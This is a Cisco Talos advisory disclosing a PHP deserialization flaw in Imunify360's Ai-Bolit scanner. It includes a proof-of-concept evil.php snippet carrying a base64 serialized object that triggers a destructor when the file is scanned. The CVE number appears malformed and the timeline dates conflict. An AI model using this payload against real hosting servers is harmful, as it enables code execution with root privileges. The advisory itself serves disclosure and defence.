Talos Vulnerability Report

TALOS-2021-1383

CloudLinux Inc Imunify360 Ai-Bolit php unserialize vulnerability

NOVEMBER 22, 2021

CVE NUMBER

CVE-021-21956

Summary

A php unserialize vulnerability exists in the Ai-Bolit functionality of CloudLinux Inc Imunify360 5.8 and 5.9. A specially-crafted malformed file can lead to potential arbitrary command execution. An attacker can provide a malicious file to trigger this vulnerability.

Tested Versions

CloudLinux Inc Imunify360 5.9
CloudLinux Inc Imunify360 5.8

Product URLs

https://www.imunify360.com/

CVSSv3 Score

8.2 - CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N

CWE

CWE-502 - Deserialization of Untrusted Data

Details

Imunify360 is a comprehensive security platform for web-hosting servers. It combines components for proactive real-time website protection and web server security.

The vulnerability exists inside the Ai-Boilt component of Imunify360. Ai-Boilt is a malware scanner specialized in a website-related files like php/js/html. By default, Ai-Boilt scanner is installed as a service and works with a root privilages:

```
icewall@ubuntu:~$ systemctl status aibolit-resident.service
● aibolit-resident.service - AibolitResident
         Loaded: loaded (/lib/systemd/system/aibolit-resident.service; enabled; vendor preset: enabled)
         Active: active (running) since Mon 2021-09-20 05:16:49 PDT; 7s ago
TriggeredBy: ● aibolit-resident.socket
   Main PID: 321911 (php)
          Tasks: 1 (limit: 9443)
         Memory: 79.3M
         CGroup: /system.slice/aibolit-resident.service
                 └─321911 /opt/alt/php-internal/usr/bin/php -n -d short_open_tag=on -d extension=leveldb.so -d extension=posix.so -d
extension=json.so -d extension=mbstring.so /opt/ai-bolit/ai-bolit-hoster.php

Sep 20 05:16:49 ubuntu systemd[1]: Started AibolitResident.
```

To be more precise, a vulnerability is located inside the `ai-bolit-hoster.php` file and functionality related to deobfuscation. Inside the `Deobfuscator` class, ai-bolit-hoster.php keeps a list of signatures (regex) representing code patterns generated by common obfuscators.

```
Line 13821      class Deobfuscator
Line 13822      {
Line 13823              private static $signatures = [
Line                    (...)
Line                            [
Line 14950                              'full' => '~function\s(\w{1,50})\((\$\w{1,50})\)\s?{.*?\$\w+\s?=\s?"[^"]+";\$\w{1,50}\s?=\s?
str_split\(\$\w{1,50}\);\$\w{1,50}\s?=\s?array_flip\(\$\w{1,50}\);\$\w{1,50}\s?=\s?0;\$\w{1,50}\s?=\s?"";\$\w{1,50}\s?=\s?preg_replace\("
[^"]+",\s?"",\s?\$\w{1,50}\);do\s?{(?:\$\w{1,50}\s?=\s?\$\w{1,50}\[\$\w{1,50}\[\$\w{1,50}\+\+\]\];){4}\$\w{1,50}\s?=\s?\(\$\w{1,50}\s?<<\s?
2\)\s?\|\s?\(\$\w{1,50}\s?>>\s?4\);\$\w{1,50}\s?=\s?\(\(\$\w{1,50}\s?6\s?15\)\s?<<\s?4\)\s?\|\s?\(\$\w{1,50}\s?>>\s?2\);\$\w{1,50}\s?=\s?\(\
(\$\w{1,50}\s?6\s?3\)\s?<<\s?6\)\s?\|\s?\$\w{1,50};\$\w{1,50}\s?=\s?\$\w{1,50}\s?\.\s?chr\(\$\w{1,50}\);if\s?\(\$\w{1,50}\s?!=\s?64\)\s?
{\$\w{1,50}\s?=\s?\$\w{1,50}\s?\.\s?chr\(\$\w{1,50}\);}if\s?\(\$\w{1,50}\s?!=\s?64\)\s?{\$\w{1,50}\s?=\s?\$\w{1,50}\s?\.\s?chr\
(\$\w{1,50}\);}}\s?while\s?\(\$\w{1,50}\s?<\s?strlen\(\$\w{1,50}\)\);return\s?\$\w{1,50};}\s?.*?function\s(\w{1,50})\(\){\$\w{1,50}\s?=\s?
@file_get_contents\(\w{1,50}\(\)\);.*?(\$\w{1,50})\s?=\s?"([^"]{1,20000})";.*?\4\s?=\s?@unserialize\(\1\(\4\)\);.*?(function\s(\w{1,50})\
(\$\w{1,50}=NULL\){foreach\s?\(\3\(\)\s?as.*?eval\(\$\w{1,50}\);}}}).*?(\?\(\);)~msi',
Line 14951                              'id' => 'decodedFileGetContentsWithFunc',
Line 14952                      ],
Line 13829              (...)
Line 13830
Line 13831
```

When a certain signature (regex) is inside a scanned file, the proper `de-obfuscation` handler is executed, which tries to pull out essential data from the obuscated code. Let us take a look at the `decodedFileGetContentsWithFunc` function handler:

```
Line 20298    private function deobfuscateDecodedFileGetContentsWithFunc($str, $matches)
Line 20299    {
Line 20300        $res = str_replace($matches[6], '', $str);
Line 20301
Line 20302        $resCode = implode(' ', @unserialize(base64_decode($matches[5])));
```

As we can see at `line 20302` there is a call to the `unserialize` function, which takes as an argument the matched `4th capturing group` ($matches[5]) of the scanned file. There is no sanitization to check that input data `$matches` is malicious, which can lead to arbitrary code execution during unserialization. To test this vulnerablity let us create an evil.php file which looks like this:

```
part of a malicious file
(...)
@file_get_contents(func_4());/**/$to_unserialize="Tzo2OiJMb2dnZXIiOjQ6e3M6MTE6IgAqAGxvZ19maWxlIjtOO3M6NzoiACoAZmlsZSI7TjtzOjEzOiIAKgBkYXRlRm
9ybWF0IjtzOjExOiJkLU0tWSBIOmk6cyI7czoxMzoiAExvZ2dlcgBsZXZlbCI7Tjt9";/**/$to_unserialize=@unserialize(func_1($to_unserialize));
(...)
```

Where `to_unserialize` == base64_encode(serialize(new Logger())); We will prove that using that attack vector, we are able to execute `__destructor` of `Logger` class. To do this, let us add debug info into the `ai-bolit-hoster.php` script:

```
Line 1582    public function __destruct()
Line 1583    {
Line 1584        printf("==== CALL INSIDE Logger __destructor\n");
```

and

```
Line 20298    private function deobfuscateDecodedFileGetContentsWithFunc($str, $matches)
Line 20299    {
Line 20300
Line 20301        print("**************\n");
Line 20302        print("TO_UNSERIALIZE :".$matches[5]."\n");
Line 20303        print("**************\n");
Line 20304
Line 20305        $res = str_replace($matches[6], '', $str);
Line 20306
Line 20307        $resCode = implode(' ', @unserialize(base64_decode($matches[5])));
```

Run scanner on our evil.php:

```
root@ubuntu:/opt/ai-bolit# /opt/alt/php-internal/usr/bin/php -n -d short_open_tag=on -d extension=leveldb.so -d extension=posix.so -d
extension=json.so -d extension=mbstring.so /opt/ai-bolit/ai-bolit-hoster.php --deobfuscate -j /home/icewall/tool/evil.php
Malware signatures: 6908
Start scanning file '/home/icewall/tool/evil.php'.
100.0% [/home/icewall/tool/evil.php] 1 of 1.
**************
TO_UNSERIALIZE
:Tzo2OiJMb2dnZXIiOjQ6e3M6MTE6IgAqAGxvZ19maWxlIjtOO3M6NzoiACoAZmlsZSI7TjtzOjEzOiIAKgBkYXRlRm9ybWF0IjtzOjExOiJkLU0tWSBIOmk6cyI7czoxMzoiAExvZ2d
lcgBsZXZlbCI7Tjt9
**************
==== CALL INSIDE Logger __destructor
100.0% [/home/icewall/tool/evil.php] 1 of 1.
Building report [ mode = 2 ]

Report written to '/opt/ai-bolit/AI-BOLIT-REPORT-_opt_ai-bolit-265386-20-09-2021_13-22.html'.


Building list of vulnerable scripts 0
Building list of shells 0
Building list of js 0
Building list of unread files 0
Scanning complete! Time taken:  1 s
```

We can see the message coming from `__destruct` has been printed.

Timeline

2021-10-01 - Vendor Disclosure

2022-11-22 - Public Release

CREDIT

Discovered by Marcin 'Icewall' Noga of Cisco Talos.
